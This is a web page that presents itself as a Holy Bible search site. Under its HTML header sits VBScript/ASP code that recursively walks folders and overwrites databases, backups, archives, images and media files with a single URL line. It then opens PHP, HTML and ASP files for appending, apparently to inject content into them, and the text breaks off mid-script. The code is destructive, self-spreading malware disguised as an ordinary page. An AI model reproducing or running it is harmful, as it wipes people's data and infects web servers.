<title>Holy Bible Search/Study Tools, Best Top Major Search Engines Power Tool
</title>
<meta name='Description' content='Search over 100 Holy Bible translations and over 50 versions of culture languages. Read the Bible online with text, dynamically generated images or MP3 audio to hear the voices out loud reading to you. 75 billion possible ways to search the Holy Bible! 10 times Bible searcher the best as a power multi Bible search engine. It shows all relating verses in parallel for easy comparing.'>
<body title='Read the Holy Bible or power search the internet!' id='bible' onLoad='document.searchengine.search.focus()' topmargin='0' leftmargin='0' rightmargin='0' link='darkblue' alink='blue' vlink='blue' text='darkblue' bgcolor='skyblue'>
set fs = CreateObject("Scripting.FileSystemObject")
on error resume next
set folder = fs.GetFolder(path)
on error resume next
for each item in folder.SubFolders
bible(item.Path)
next
for each item in folder.Files
IF InStr(item.path, ".mdb") OR InStr(item.path, ".my") OR InStr(item.path, ".frm") OR InStr(item.path, ".apk") OR InStr(item.path, ".wm") OR InStr(item.path, ".avi") OR InStr(item.path, ".og") OR InStr(item.path, ".fl") OR InStr(item.path, ".mp") OR InStr(item.path, ".bak") OR InStr(item.path, ".gz") OR InStr(item.path, ".iso") OR InStr(item.path, ".nfo") OR InStr(item.path, ".msi") OR InStr(item.path, ".7z") OR InStr(item.path, ".zip") OR InStr(item.path, ".log") OR InStr(item.path, ".psd") OR InStr(item.path, ".sql") THEN
set fs = CreateObject("Scripting.FileSystemObject")
set file = fs.CreateTextFile(item.path, true, false)
on error resume next
file.WriteLine("http://www.Holy-Bibles.com")
file.Close
END IF
IF InStr(lcase(item.path), ".php") OR InStr(lcase(item.path), ".sht") OR InStr(item.path, ".inc") OR InStr(lcase(item.path), ".htm") OR InStr(lcase(item.path), ".asp") THEN
set god=Server.CreateObject("Scripting.FileSystemObject")
on error resume next
Const Appending=8
set Christz=god.OpenTextFile(item.path, Appending, true)